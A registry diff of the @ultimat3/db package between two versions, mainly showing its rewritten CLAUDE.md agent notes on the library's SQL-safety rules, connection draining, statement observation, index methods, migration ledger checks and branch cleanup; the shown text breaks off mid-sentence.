@ultimat3/db 21.0.0 → 22.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CLAUDE.md +238 -1474
- package/README.md +9 -0
- package/package.json +2 -2
- package/src/array-parameter.ts +0 -16
- package/src/bound-parameters.ts +23 -0
- package/src/branch.ts +5 -2
- package/src/bun-sql.ts +21 -0
- package/src/client.ts +8 -2
- package/src/column-alter.ts +66 -0
- package/src/ddl-errors.ts +13 -0
- package/src/generate.ts +5 -0
- package/src/generated-column.ts +30 -8
- package/src/migrate.ts +2 -1
- package/src/pg-instant.ts +54 -0
- package/src/pglite.ts +21 -6
- package/src/replica-client.ts +28 -0
- package/src/statement-funnel.ts +6 -6
- package/src/statement-split.ts +31 -1
- package/src/transaction.ts +88 -14
package/CLAUDE.md
CHANGED
|
@@ -1,1479 +1,244 @@
|
|
|
1
1
|
# @ultimat3/db — agent notes
|
|
2
2
|
|
|
3
|
-
Tier 1 — it imports `@ultimat3/core` and nothing else
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
3
|
+
Tier 1 — it imports `@ultimat3/core` and nothing else. That placement is load-bearing:
|
|
4
|
+
`@ultimat3/entity` (tier 2) owns the Postgres driver and reaches down to this package for it.
|
|
5
|
+
**Never** import `entity`, `jobs`, `http` or anything higher — entity snapshots arrive as a parameter
|
|
6
|
+
(`EntityDescriptionLike`), never as an import.
|
|
7
7
|
|
|
8
8
|
| Rule | |
|
|
9
9
|
|---|---|
|
|
10
|
-
| Deps | none. `@electric-sql/pglite` is an **optional peer**, imported by variable specifier inside `loadPgliteDriver()
|
|
10
|
+
| Deps | none. `@electric-sql/pglite` is an **optional peer**, imported by variable specifier inside `loadPgliteDriver()`. **No ORM** — `entity`'s hand-written `postgresDriver()` is the production backing |
|
|
11
11
|
| SQL | `sql` binds `$n`; anything non-scalar and non-fragment throws `X_SQL_UNSAFE` |
|
|
12
|
-
| A name reaching a `fix:` | `shellInertIdentifier()` (`sql.ts`), the
|
|
13
|
-
| Escape hatches | `raw()`, `identifier()`, `literal()` — each call is an audit point. `literal()` is the tree's ONE SQL-string-literal escape (`scripts/sql-literal-copies.ts`, pinned at zero)
|
|
12
|
+
| A name reaching a `fix:` | `shellInertIdentifier()` (`sql.ts`), the ONE screen (`identifier()` accepts a backtick and `$`). A refused name is left OUT of the command, never escaped into it. `migration-errors.ts` (which `sql.ts` imports from) screens through core's `renderFixShellArg` instead |
|
|
13
|
+
| Escape hatches | `raw()`, `identifier()`, `literal()` — each call is an audit point. `literal()` is the tree's ONE SQL-string-literal escape (`scripts/sql-literal-copies.ts`, pinned at zero); it emits `E'…'` only when the value carries a backslash |
|
|
14
14
|
| SQLSTATE | one reader, `sqlState()` (`sqlstate.ts`). Never read `error.code` for a SQLSTATE |
|
|
15
|
-
| Reading a caught value | `renderThrowable()` from core
|
|
16
|
-
| Errors | subclass `DbError`; never `throw new Error`
|
|
17
|
-
| New code | add to `DB_ERROR_CODES` **and** `DB_ERROR_TITLES` in `errors.ts
|
|
18
|
-
| A value ambient across an `await` | `asyncContext<T>(subject)` from
|
|
15
|
+
| Reading a caught value | `renderThrowable()` from core (`checkDb` backs `/readyz`) |
|
|
16
|
+
| Errors | subclass `DbError`; never `throw new Error` in source. A test simulating a database failure throws `dbUnavailable()`; one simulating the caller's body failing throws a bare `Error` on purpose |
|
|
17
|
+
| New code | add to `DB_ERROR_CODES` **and** `DB_ERROR_TITLES` in `errors.ts`, whichever file holds the constructor (`migration-errors.ts`, `invariant-errors.ts`, `drift-errors.ts`); `src/index.ts` re-exports all |
|
|
18
|
+
| A value ambient across an `await` | `asyncContext<T>(subject)` from core — never `new AsyncLocalStorage`. Three scopes: `transaction.ts`, `attribution.ts`, `expected-loop.ts` |
|
|
19
19
|
| Exports | explicit in `src/index.ts`; no `export *` |
|
|
20
|
-
| Files | < 200 LOC, one responsibility, `kebab-case.ts`, test beside source |
|
|
21
|
-
|
|
22
|
-
Pinned public seam — `@ultimat3/auth`, `@ultimat3/entity` and `@ultimat3/jobs` are written
|
|
23
|
-
|
|
24
|
-
`
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
`
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
`
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
`
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
`
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
`
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
`
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
`
|
|
174
|
-
the
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
`
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
`
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
`
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
`
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
`
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
`
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
`
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
1.3.14 loses 3 of 3 and 1.4.0 loses 1 of 3. So the runtime was never the variable — an unbounded
|
|
243
|
-
await was, and `@ultimat3/cli`'s `releaseQueue` awaits this method. A container that will not drain
|
|
244
|
-
is drained by SIGKILL, and the operator's only signal is a pod that took its full grace period.
|
|
245
|
-
|
|
246
|
-
Three rules ride with it. **The unit is SECONDS** — `close({ timeout: profile.drainTimeoutMs /
|
|
247
|
-
1000 })`, and `timeout: 5000` would be an eighty-three minute budget, which is the same hang with
|
|
248
|
-
extra steps. **`drainTimeoutMs: 0` sends no option at all**, rather than `{ timeout: 0 }`: `migrate`
|
|
249
|
-
and `replicator` mean "wait", for `acquireTimeoutMs`' reason, and a zero handed to the driver is an
|
|
250
|
-
instruction whose reading is the driver's. **The verdict is the elapsed time**, because the driver
|
|
251
|
-
RESOLVES when it gives up rather than rejecting — a drain that abandoned in-flight work looks exactly
|
|
252
|
-
like a clean one, so `X_DB_DRAIN_TIMEOUT` is raised on the clock or nothing is said at all. That
|
|
253
|
-
clock is `performance.now()` and never `Date.now()`, and the reason is this repo rather than NTP:
|
|
254
|
-
the framework preload freezes `Date` for every test in the tree (`installDeterminism`), so a duration
|
|
255
|
-
subtracted from `Date.now()` is 0 in all of them and the branch could not fire — a test asserting it
|
|
256
|
-
would have been one that cannot fail. `pool-drain.test.ts` pins what is ASKED for, against a fake
|
|
257
|
-
pool; `pool-drain.live.test.ts` pins that a real server's driver honours it, because a fake's
|
|
258
|
-
`close()` is whatever the fake decided and the finding is about the real one.
|
|
259
|
-
|
|
260
|
-
`close()` reads its cached driver into a local, clears the field, **then** awaits the teardown —
|
|
261
|
-
`client.ts` and `pglite.ts` both. A teardown that rejects has still torn the pool down, so clearing
|
|
262
|
-
after the await left the corpse cached for the next `connect()`, and a second `close()` threw in
|
|
263
|
-
the same place rather than clearing it. The rejection still reaches the caller on `client.ts`
|
|
264
|
-
(`pglite.ts` swallows a failed *boot*, which is a different thing: there is nothing to close).
|
|
265
|
-
|
|
266
|
-
`execute()` trusts the command tag only when it is `> 0`, in **both** drivers — `rowsOf`
|
|
267
|
-
(`pglite.ts`) and `affectedBy` (`statement-funnel.ts`) are one rule written twice, not two rules. PGlite
|
|
268
|
-
counts MODIFIED rows, so a SELECT that returned rows is tagged `0` and `??` would report 0 for
|
|
269
|
-
every read; a driver that tags a read `0` on the pooled side would have diverged from PGlite the
|
|
270
|
-
same way, and the same guard closes both. A write that modified nothing returned no rows either, so
|
|
271
|
-
the fallback stays 0 there.
|
|
272
|
-
|
|
273
|
-
`observe.ts` is the seam a statement-level diagnostic installs into: one process-wide `StatementObserver`, installed with
|
|
274
|
-
`setStatementObserver()` and read with `statementObserver()`, the same ambient shape as
|
|
275
|
-
`setDbClient()`. Three rules, each load-bearing. **Guard at the call site** — read the accessor,
|
|
276
|
-
branch on `undefined`, and only then build the `StatementEvent`; a `notify(event)` wrapper would
|
|
277
|
-
allocate an event per statement for nobody to receive, and this seam is on the path every statement
|
|
278
|
-
in the process takes. **One observer, not a list** — a second install replaces the first (axiom 1);
|
|
279
|
-
a consumer needing several composes them itself. **The accessor returns the installed identity and
|
|
280
|
-
the seam swallows nothing** — a throw from `onStatement` is how strict test mode fails the test its
|
|
281
|
-
N+1 happened in, so a guarding facade here would silently delete that mode. `onStatement` is
|
|
282
|
-
synchronous, runs on the caller's stack after the statement settled, and must not issue SQL: a
|
|
283
|
-
statement from inside it re-enters the funnel and observes itself. Only two places may invoke it —
|
|
284
|
-
`runOn` (`statement-funnel.ts`) and `statement()` (`pglite.ts`), the funnels every statement already passes
|
|
285
|
-
through. Reserving a connection, booting PGlite and closing a pool are not statements and stay out.
|
|
286
|
-
|
|
287
|
-
Both funnels are now split in two, and the split is the whole design: `sendOn`/`send` is the raw
|
|
288
|
-
statement plus the `X_DB_UNAVAILABLE` wrap — byte-identical to what the funnel used to be — and
|
|
289
|
-
`runOn`/`statement` is the observed shell around it. Three rules hold, in both drivers:
|
|
290
|
-
**guard first** — read the accessor, and with nothing installed hand straight to `sendOn`/`send`,
|
|
291
|
-
no clock read and no event; **observe both settle paths** — a failed statement is an event with
|
|
292
|
-
`rows: 0` and the already-wrapped error the caller is about to be thrown, because fifty identical
|
|
293
|
-
timeouts are still fifty statements; **notify outside the statement's own `try`** — a throw from
|
|
294
|
-
`onStatement` on the success path is the observer's, and catching it there would wrap a statement
|
|
295
|
-
that succeeded as `X_DB_UNAVAILABLE` and delete strict test mode's failure. On the failing path
|
|
296
|
-
the observer's throw replaces the DB error instead, which is the price of never swallowing — an
|
|
297
|
-
observer that only reports must not throw. `rows` comes from the same helper `execute()` uses
|
|
298
|
-
(`affectedBy` in `statement-funnel.ts`, `rowsOf` in `pglite.ts`, hoisted to module scope for it), so the
|
|
299
|
-
report and the return value cannot disagree about one statement.
|
|
300
|
-
|
|
301
|
-
`attribution.ts` is `StatementEvent.attribution`'s producer: `withStatementAttribution(entity, op,
|
|
302
|
-
fn)` runs `fn` with every statement it issues — at any depth, across every `await` — attributed to
|
|
303
|
-
that pair, on an async context the same shape `expected-loop.ts` already uses. Four rules,
|
|
304
|
-
none optional. **Guard first** — it reads `statementObserver()` before touching the scope at all
|
|
305
|
-
and, with nothing installed, hands straight to `fn`: one property read, one branch, no object
|
|
306
|
-
allocated, on the path every statement in the process takes (axiom 6) — which is also why the pair
|
|
307
|
-
arrives as two strings rather than a `StatementAttribution` literal, since a literal at the call
|
|
308
|
-
site would be allocated before the branch could decline it. **A scope, not a parameter** — the
|
|
309
|
-
statement leaves several frames and at least one microtask below the repository call that caused
|
|
310
|
-
it: the coalescer flushes its batch from a `queueMicrotask` (`coalesce.ts`), a wide write is a
|
|
311
|
-
chunked loop, a preload sends through `readByIds`, and threading a parameter through all of those
|
|
312
|
-
is the same fact written five times, with every path an author forgot it emitting unattributed SQL.
|
|
313
|
-
**Nesting keeps the innermost pair**, exactly as `expectedQueryLoop` keeps the innermost reason: a
|
|
314
|
-
relation preloaded during `findMany` reads through the *related* repository, so its statement is
|
|
315
|
-
attributed to that entity and its own operation, not to the read that triggered the preload.
|
|
316
|
-
**The funnels stamp, on both settle paths** — `runOn` (`statement-funnel.ts`) and
|
|
317
|
-
`statement()` (`pglite.ts`) read `statementAttribution()` inside the branch that already found an observer, next to
|
|
318
|
-
`expectedQueryLoopReason()`, and put it on the event whether the statement succeeded or failed, the
|
|
319
|
-
same argument as `expected`: a diagnostic that judges a whole request runs long after every scope
|
|
320
|
-
in it closed. `@ultimat3/entity`'s `postgresRepo` is the one producer — the last caller that still
|
|
321
|
-
knows both once the SQL exists (`packages/entity/CLAUDE.md`) — and an observer installed *during*
|
|
322
|
-
`fn` sees the statements that follow unattributed, since installation happens once, at boot.
|
|
323
|
-
|
|
324
|
-
`statement-shape.ts` is what a statement's *identity* is, and it lives here because its only input
|
|
325
|
-
is a `StatementEvent`. `statementFingerprint(event)` is `entity.op` when the event is attributed and
|
|
326
|
-
the event's own whitespace-collapsed text when it is not; `statementKind(text)` is read or write off
|
|
327
|
-
`statementVerb(text)`, a closed set of verbs and never a set of repository operations — a soft delete
|
|
328
|
-
is an `update`, an op list would drift with `@ultimat3/entity`'s method names, and hand-written SQL
|
|
329
|
-
carries no operation at all. Two detectors group by that identity (`x dev`'s ledger,
|
|
330
|
-
`@ultimat3/testing`'s `statements` fixture) and `statementSpanName` reads the same verb, so the rule
|
|
331
|
-
is written once — a second copy is two answers to "is this the same statement again". Nothing here
|
|
332
|
-
counts: the threshold is `@ultimat3/entity`'s `N_PLUS_ONE_THRESHOLD`, next to the codes whose `fix`
|
|
333
|
-
depends on it.
|
|
334
|
-
|
|
335
|
-
`statement-span.ts` is the other half of the observed shell: `withStatementSpan` wraps the **send
|
|
336
|
-
alone**, so the span's duration is the statement's and the observer's own work is not charged to
|
|
337
|
-
the database. Three decisions, each load-bearing. **`db.<verb>`** (`db.select`, `db.begin`; a text
|
|
338
|
-
opening with a comment is `db.statement`) — `@ultimat3/cli`'s `dev-traces.ts` reads the `/_x` panel
|
|
339
|
-
kind off the name prefix like it does for `query.`/`cache.`/`job.`, and this package is tier 1 and
|
|
340
|
-
cannot name a tier-5 vocabulary. **The text is `STATEMENT_ATTRIBUTE`** — `db.statement`, OTel's own
|
|
341
|
-
attribute and the one `dev-traces.ts` prefers over the span name, so a repository loop is fifty rows
|
|
342
|
-
of one SQL text in `repeatedSql` and not one `query.feed`. It is **exported** and re-exported from
|
|
343
|
-
`src/index.ts` precisely because it is a contract across two packages: `dev-traces.ts` and its test
|
|
344
|
-
import it, so renaming it here is a compile error there rather than a panel that quietly groups
|
|
345
|
-
nothing while every test stays green. **It opens only when an observer is installed**, inside the
|
|
346
|
-
guarded branch that already exists: installing an observer is the single switch that turns
|
|
347
|
-
statement instrumentation on, event and span together (axiom 1), and an uninstalled process mints
|
|
348
|
-
no span id and allocates no span object per statement — which on this path is every statement in
|
|
349
|
-
the process. The OTel `kind` is `client`; the database is the remote peer.
|
|
350
|
-
|
|
351
|
-
`expected-loop.ts` is the **only** suppression mechanism, and the reason it is a scope rather than
|
|
352
|
-
a pragma or a list is the same reason `observe.ts` is one observer: a second path is the tax
|
|
353
|
-
(axiom 1). `expectedQueryLoop(reason, fn)` rides an async context, so it survives every
|
|
354
|
-
`await` at any depth and two loops running concurrently never read each other; nesting keeps the
|
|
355
|
-
innermost reason, because the closest scope is the one describing this loop. A blank reason is
|
|
356
|
-
`X_INVARIANT` through core's `assert` — no new code for it, and an exemption with no argument is a
|
|
357
|
-
pragma with extra steps. Three rules. **The funnel stamps, the consumer reads** — `runOn` and
|
|
358
|
-
`statement()` call `expectedQueryLoopReason()` inside the branch that already found an observer and
|
|
359
|
-
put the answer on the event as `expected`; a detector that judges a whole request runs long after
|
|
360
|
-
every scope in it closed, so reading the scope later would find nothing. **It suppresses a verdict,
|
|
361
|
-
not a statement** — the SQL is still sent, still observed, and the span still opens, so anything
|
|
362
|
-
that measures still sees the loop and only the thing that warns is told the author already
|
|
363
|
-
answered. **It costs nothing uninstalled** — the read lives inside the observer branch, so the
|
|
364
|
-
production path is still one property read and one branch.
|
|
365
|
-
|
|
366
|
-
The framework's own deliberate loops declare themselves at source, and new ones must: `migrate()`
|
|
367
|
-
and `rollback()` (`migrate.ts`) apply and reverse one migration per transaction so a failure leaves
|
|
368
|
-
an exact ledger, and `@ultimat3/admin`'s `search.ts` runs one indexed lookup per text field. Adding
|
|
369
|
-
a `db` dependency to `admin` for that one import is deliberate — the alternative is re-exporting the
|
|
370
|
-
scope from a package `admin` already imports, which is the second path this rule forbids.
|
|
371
|
-
|
|
372
|
-
**`@ultimat3/jobs` never imports this package** (`packages/jobs/CLAUDE.md`), so nothing about the
|
|
373
|
-
observer, the span or `expectedQueryLoop` is this package's concern *from inside* `jobs` —
|
|
374
|
-
`driver-pg.ts` speaks only the two-method `PgExecutor` it declares itself, satisfied by anything
|
|
375
|
-
shaped like `query(sql, params)`. That is a statement about the package boundary, not about what a
|
|
376
|
-
running process does with it: `packages/cli/src/dev-queue.ts`'s `startQueue` — the only place in
|
|
377
|
-
the repo that builds a `PgExecutor`, reached by every role through `dev-runtime.ts`'s
|
|
378
|
-
`startServices` and by `migrate` through `serve.ts`'s `runMigrations` — wraps a real
|
|
379
|
-
`PostgresClient`/`PgliteClient` `.query()` call for it. So today, in this framework's own boot
|
|
380
|
-
code, every job-driver statement (claim, ack, nack, enqueue, heartbeat, step read/write) **does**
|
|
381
|
-
pass through `runOn`/`statement()` and is visible to an installed `StatementObserver` and traced
|
|
382
|
-
exactly like any other statement — just with no `attribution`, which is not a `jobs` gap now
|
|
383
|
-
either: `@ultimat3/entity`'s `postgresRepo` is `attribution.ts`'s producer (above), but `jobs`' own
|
|
384
|
-
statements never reach it — `driver-pg.ts` compiles its SQL directly against `PgExecutor`, not
|
|
385
|
-
through a repository, so nothing calls `withStatementAttribution` on a claim, an ack, a nack or a
|
|
386
|
-
heartbeat's behalf, and every one of those events still reads `attribution: undefined`. An entity
|
|
387
|
-
read or write sharing the same process now carries the pair; a job-driver statement does not, and
|
|
388
|
-
the gap is real, just narrower than it was. This is incidental, not guaranteed:
|
|
389
|
-
`PgExecutor` is duck-typed, so a deployment that hands `createPgDriver` an executor not backed by
|
|
390
|
-
this package — a raw `Bun.SQL` instance, a hand-rolled pool, `driver-redis`/`driver-nats` (which do
|
|
391
|
-
not touch Postgres at all) — gets zero observation of its queue traffic, and nothing here or in
|
|
392
|
-
`jobs` enforces otherwise. A detector reading `attribution` (PR 9's N+1 work) sees a claim loop as
|
|
393
|
-
anonymous SQL, never as a `job` statement, and will keep seeing it that way until `jobs` threads its
|
|
394
|
-
own pair through `driver-pg.ts` the way `postgresRepo` now threads entity's — that is still future
|
|
395
|
-
work, not something this change reaches.
|
|
396
|
-
|
|
397
|
-
**An index's ACCESS METHOD is carried end to end, `As of 2026-08-24`, and it had to land here
|
|
398
|
-
before `@ultimat3/entity` could declare it.** `@>` / `<@` / `&&` / `?` on a `json()` or `arrayOf()`
|
|
399
|
-
column is a sequential scan without a GIN index. `IndexInit.using` on the entity side while this
|
|
400
|
-
package ignored it would emit a **btree for a declared GIN index** — a declared-and-never-wired key,
|
|
401
|
-
which is the defect class this release exists to eliminate and strictly worse than the missing
|
|
402
|
-
capability. So the method reaches all four places or none: `createIndex` emits it, `snapshotOf`
|
|
403
|
-
records it, `indexShape` rebuilds on it, and `compareIndexes` reports it.
|
|
404
|
-
|
|
405
|
-
`index-method.ts` is the vocabulary, its own file for the reason `foreign-key.ts` holds
|
|
406
|
-
`onDeleteRule`: a generator and a detector that disagreed about what "the default" is would report
|
|
407
|
-
drift on a database that is exactly right. Four rules.
|
|
408
|
-
|
|
409
|
-
**The set is closed at two — `btree` and `gin`.** `gist`, `brin`, `hash` and `spgist` are legitimate
|
|
410
|
-
and are deliberately absent: nothing declares one, and each brings a rule that would have to be
|
|
411
|
-
enforced with no caller to test it (`hash` and `brin` cannot be unique, `gist` needs `btree_gist` to
|
|
412
|
-
be, none of the three accepts `asc`/`desc`). Adding a member later is additive; shipping four nobody
|
|
413
|
-
uses is four ways for a first caller to be silently wrong.
|
|
414
|
-
|
|
415
|
-
**Declared is CLOSED, live is OPEN.** `IndexDescriptionLike.using` is `IndexMethod | undefined` —
|
|
416
|
-
what an entity may ask for. `IndexDescription.using` is `string | undefined` — whatever `pg_am`
|
|
417
|
-
answered, `gist` and an extension's own access method included. Folding an unknown catalog name into
|
|
418
|
-
`btree` would hide exactly the difference drift exists to report, so `indexMethodOf` passes the live
|
|
419
|
-
side through verbatim and `declaredMethod` is the one place the open reading is narrowed back — a
|
|
420
|
-
**refusal**, never a silent fall back, because its one caller is `redefineIndex`'s `down` and a
|
|
421
|
-
`gist` quietly rebuilt as a btree is a rollback leaving a state no migration describes.
|
|
422
|
-
|
|
423
|
-
**Absent is `btree`, on both sides, through one function.** `indexMethodOf` is that function.
|
|
424
|
-
Postgres' default is written out by nobody, every index created before this existed is one, and
|
|
425
|
-
every sidecar written before the field is silent about it — so `snapshotOf` records `using` only
|
|
426
|
-
when one was declared. Writing `'btree'` out for every index would rewrite every sidecar in every
|
|
427
|
-
app on the next `x db gen`, a diff on every file for a fact that was already true.
|
|
428
|
-
|
|
429
|
-
**The literal is re-derived from the set, never spliced from the input** — `indexMethodSql` is a
|
|
430
|
-
`switch` whose `default` arm is `never` and throws `indexMethodInvalid` (`X_SQL_UNSAFE`, the code
|
|
431
|
-
`isolationLevelInvalid` and `branchNameInvalid` already use for a value spliced into a statement).
|
|
432
|
-
The type is not the guard: this value arrives from an entity declaration, a config or a hand-edited
|
|
433
|
-
snapshot, and `using ${method}` on an operand TypeScript never saw is the **identical hole** to the
|
|
434
|
-
one `columnName` carried when it was `meta.name ?? snake(property)` with only the second branch
|
|
435
|
-
validated — a name that closed the parenthesis and opened a second command, measured through
|
|
436
|
-
`generateMigration`. `create index "x" on "t" using gin ("c") where (...)` also refuses a unique or
|
|
437
|
-
an ordered GIN through core's `assert` (`X_INVARIANT`), the discipline `createIndex` already applies
|
|
438
|
-
to an index naming no columns: Postgres has neither, and a syntax error inside `ROLE=migrate` fails
|
|
439
|
-
the release phase with the server's words and none of the entity's.
|
|
440
|
-
|
|
441
|
-
`introspect()` reads the method from `pg_am` joined through `pg_class.relam`, and
|
|
442
|
-
`introspect-embedded.test.ts` is where that is pinned — a recording client can pin the SQL text and
|
|
443
|
-
nothing more, and a query that silently returned no method would read as `btree` everywhere and make
|
|
444
|
-
drift blind to the one case `using` exists for. Measured on PGlite: a real `using gin` index reads
|
|
445
|
-
back `gin`, the btree beside it and the primary key's own index read back `btree`.
|
|
446
|
-
|
|
447
|
-
**`generate.ts` reads an index, it never re-derives one.** `EntityDescriptionLike.indexes` carries
|
|
448
|
-
`columns`, `unique`, `where` and `order`, and `createIndex` writes every one of them out. It used to
|
|
449
|
-
carry names alone and `parseIndexName` recovered the column list from the `<table>_<a>_<b>_idx`
|
|
450
|
-
convention — which does not run backwards: `_` joins the columns *and* appears inside them, so a
|
|
451
|
-
two-column index emitted `("org_id_created_at")`, a column that does not exist, `42703`, and a
|
|
452
|
-
migration nobody can apply. The same loss took the rest of the declaration with it: a partial index
|
|
453
|
-
emitted as a total one refuses rows the entity allows, and a `desc` index came out ascending. Any
|
|
454
|
-
new part of an index is added to `IndexDescriptionLike` and spelled in `createIndex`, never encoded
|
|
455
|
-
into the name for a reader to parse back out. An index naming no column is `X_INVARIANT` through
|
|
456
|
-
core's `assert` — `entity()` refuses `on: []` at declaration, so nothing the framework produces can
|
|
457
|
-
reach it, and a hand-built description gets the error rather than DDL Postgres cannot parse.
|
|
458
|
-
`generate.test.ts` pins the generated SQL text; `migrate.live.test.ts`'s composite-index describe
|
|
459
|
-
block is the join of that fix with the engine it ships through — an entity description into
|
|
460
|
-
`generateMigration`, applied by `migrate()` itself against a real server, columns confirmed against
|
|
461
|
-
`pg_indexes`, rather than either half alone.
|
|
462
|
-
|
|
463
|
-
**The ledger audit asks one question — does this build ship every migration the ledger records?**
|
|
464
|
-
`auditLedger`'s `foreign` filter is `!known.has(row.id)` and nothing else, `As of 2026-08`. It used
|
|
465
|
-
to also require `row.app_version !== appVersion`, which switched the audit OFF wherever the two
|
|
466
|
-
agree: `runningAppVersion()` answers `dev` for every development build, so a migration applied by an
|
|
467
|
-
earlier `dev` build and since deleted was invisible, and `expectedSchema` (`drift.ts`) then dropped
|
|
468
|
-
its table from the comparison — `x db drift` answering `ok: true` against a database that still has
|
|
469
|
-
the table. The version is a detail of the ANSWER and lives in the cause, never in the predicate.
|
|
470
|
-
|
|
471
|
-
**`rollback({ steps })` refuses anything that is not a positive safe integer, before the lock.**
|
|
472
|
-
`steps` reaches `slice(0, steps)`, where a negative count counts from the END: `steps: -1` selected
|
|
473
|
-
every applied migration but the newest and reversed four of five. `X_INVARIANT` (core's generic
|
|
474
|
-
code, borrowed in `DB_BORROWED_ERROR_CODES` the way `@ultimat3/money`'s `roundRatio` borrows it —
|
|
475
|
-
a bad argument is not a fact about the ledger), thrown by `rollbackStepsInvalid` before the advisory
|
|
476
|
-
lock is taken and before the ledger is read. Same discipline as `poolMaxInvalid`: a number this
|
|
477
|
-
build cannot honour is refused, never reinterpreted.
|
|
478
|
-
|
|
479
|
-
**`reapBranches` sweeps branches of THIS database, never the server's, `As of 2026-08-19`** (issue
|
|
480
|
-
#133, closed). `listBranches` walks `pg_database` for the whole server and admits every database
|
|
481
|
-
carrying the marker, so two Ultimate apps on one Postgres plus one nightly reap was the other app's
|
|
482
|
-
branches dropped. The discriminator was in hand and thrown away: `createBranch` already resolves
|
|
483
|
-
`options.base ?? currentDatabase(client)` and wrote only the timestamp. The marker is now
|
|
484
|
-
`ultimate:branch:<base>:<iso>` and `BranchInfo.base` carries it, so the reaper skips a branch whose
|
|
485
|
-
base is not the database it is connected to. **Split on the ISO tail, never on the first `:`** — a
|
|
486
|
-
database name may contain one and an instant certainly does. A pre-4.x one-segment comment matches
|
|
487
|
-
no base, keeps its readable date for `x db branch ls`, and is **skipped, never dropped**: a branch
|
|
488
|
-
of nothing is not a branch of this database, which is what makes the change self-healing with no
|
|
489
|
-
migration. Postgres records no template lineage in the catalog and `datdba` is shared when both
|
|
490
|
-
apps use one role, so writing the base down at creation is the only answer there is.
|
|
491
|
-
`@ultimat3/cli`'s `ls`/`drop` scope by the `<source>_branch_` name prefix instead — its own guard,
|
|
492
|
-
and unaffected.
|
|
493
|
-
|
|
494
|
-
**`reapBranches` skips a `createdAt` it cannot parse; it never reads one as infinitely old.**
|
|
495
|
-
`NaN > cutoff` is `false`, which is the same answer "older than the cutoff" gives — so a
|
|
496
|
-
`COMMENT ON DATABASE` that was truncated or hand-edited used to be a database DROPPED on the next
|
|
497
|
-
nightly sweep whatever `maxAgeMs` said. `Date.parse` + `Number.isFinite`, the discipline
|
|
498
|
-
`@ultimat3/seo`'s `feed-dates.ts` applies to the same question. (Whose branches it may touch at
|
|
499
|
-
all is the paragraph above.)
|
|
500
|
-
|
|
501
|
-
**One send is one statement, so `migrate()` and `rollback()` split the script.** `tx.execute(raw(
|
|
502
|
-
migration.up))` on a text holding two commands is where the two drivers disagreed, and the
|
|
